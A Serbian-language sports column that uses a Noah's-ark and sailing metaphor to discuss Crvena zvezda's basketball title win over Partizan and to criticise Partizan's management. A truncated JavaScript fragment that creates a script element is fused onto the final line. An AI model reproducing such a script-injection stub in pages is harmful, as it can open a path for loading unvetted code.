KOLUMNA, GORAN GRBOVIĆ: Nojeva barka i veliki inženjer

Na čelo tima dolazi inženjer koji počinje da konstruiše novi brod. Premešta konstrukciju starog u novo brodogradilište, dodaje nove elemente, zadržava oznake, boje, grb, publiku koja ga prati na tom putu oporavka, koristi mehanizme koji nisu viđeni do sada i posle četiri godine pravi novu istoriju...

Košarkaška mini-liga Srbije završena je nedavno pobedom Crvene zvezde nad Partizanom u poslednjoj utakmici odigranoj u dvorani "Aleksandar Nikolić" pred Partizanovom publikom. Nada koja je tinjala ovih dana među "grobarima" umrla je poslednja sa sirenom koja je označila kraj košarkaške sezone. Srbija je dobila prvaka. Crvenu zvezdu.

Partizan je uspeo da malo zaljulja brod Crvene zvezde pobedom u trećoj utakmici, ali skiper Radonjić čvrsto držeći kormilo u svojim rukama uspeva da svoju crveno-belu posadu zajedno sa brodom uvede u sigurnu luku posle četvrte utakmice koja je imala na momente sve specifičnosti ozbiljne oluje.

I Radonjić i Džikić, kao svi dobri kapetani sa odabranim posadama, kontrolišu trku sve do prolaska kroz cilj gde ipak bolji i iskusniji crveno-beli mornari Dejana Radonjića odnose pobedu za pola dužine broda, odnosno za tačno onoliko koliko su kvalitetniji od suparničkog tima.

Znam da u trkama velikih jedrilica odlučuje mnogo faktora. Jedan od najvažnijih su kostruktori tih jedrenjaka, materijali, posada i normalno na kraju cena svega toga. Crvena zvezda je u poslednjih dvadesetak godina imala mnogo inženjera koji su popravljali nepopravljivo. Raznorazni dunđeri isprobavajući svoje skromno konstruktorsko iskustvo ugrađivali su nepotrebne delove u već probušeni brod koji je tonuo svaki put kada je bio porinut.

Kao što rekoh, cena ovakvih projekata je jako bitna pa su ti majstori potrošili i novac, vreme i ogromno strpljenje navijača koji su uvek bili posmatrači na putu tih prošlih događaja. Menjali su skipere, posade, uprave, trpeli sve i svašta, gubili utakmice, odlazili, vraćali se, ali sve to bez rezultata.

Najgore od svega je što su te trke završavane pobedom nimalo dragih rivala iz komšiluka.
Sve to je trajalo do pre nekoliko godina kada na čelo tima dolazi inženjer koji počinje da konstruiše novi brod. Premešta konstrukciju starog broda u novo brodogradilište, dodaje nove elemente, zadržava oznake, boje, grb, publiku koja ga prati na tom putu oporavka, koristi mehanizme koji nisu viđeni do sada i posle četiri godine pravi novu istoriju.

Uz sve to ne troši puno para, uzima i stvara najbolje mornare, skipere i inženjere. Bar tako kaže.

Za par godina taj novi Noje je od dasaka napravio najveći brod u regionu, spasao i smestio sve u njega. Za malo para. Trijumfalno vraća brod u staru luku iz koja je krenuo pre četiri godine.

Opčinjeni Merlinovim uspesima najvažniji deo menadžmenta Partizana se bavi perifernim stvarima, grozničavo se krijući iza trivijalnih saopštenja koja guraju od ruke do ruke, tražeći ko će da ih pročita

Sa novom registracijom i reputacijom ponovo uplovljava na sedamdeset godina staru adresu sa koje je bio odsutan, kako kaže, zbog rekonstrukcije dugovanja, lošeg menadžmenta, kormilara i sve to za male pare. Čarobnjak.

Koristeći samo njemu poznatu magiju taj moderni Merlin uspeva i da usput baci čini na protivnike i ubedi ih u svoje dobre namere koje imaju samo sportske motive. Vrlo vešto kao i svaki mađioničar skidajući deo po deo oplate sa crno-belog broda uz nemo posmatranje ljudi iz Partizana već se opasno približio onoj tački koju vrlo rado voli da pominje.

Opčinjeni Merlinovim uspesima najvažniji deo menadžmenta Partizana se bavi perifernim stvarima, grozničavo se krijući iza trivijalnih saopštenja koja guraju od ruke do ruke, tražeći ko će da ih pročita. Pismenost tih saopštenja ne priliči nijednom od ljudi koje tamo poznajem.

Taj ugovoreni brak između čarobnjaka Merlina i nekih ljudi iz Partizana koji je zbog svoje protivprirodnosti vrlo kratko trajao je posledica bahatih odluka s početka sezone. Provodadžije koje su ugovarale tu svadbu odabrale su pogrešnog mladoženju, pogrešnog kuma, a na kraju i svatove. Jedino je ručak bio dobar. To sigurno znam.

Računajući na prekopotrebni miraz koji su dogovorili i već potrošili unapred, svadbari su zaboravili da moraju da plate i muzičare koji od februara nisu plaćeni.
A svirali su pošteno celu sezonu.

Jedinu štetu su pretrpeli kladioničari, tužibabe i secikese. Ovi prvi jer su učestvovali u ugovaranju i imali siguricu, tužibabe su ugrozile svoj ionako klimavi status, a ovi poslednji su najgore prošli... očekivali su miraz.

Nadam se da će nova sezona doneti nešto novo i bolje jer Partizanova barka je prepuna i grešnika i grešaka.

"Dobro pamtim sve..."var d=document;var s=d.createElement('script');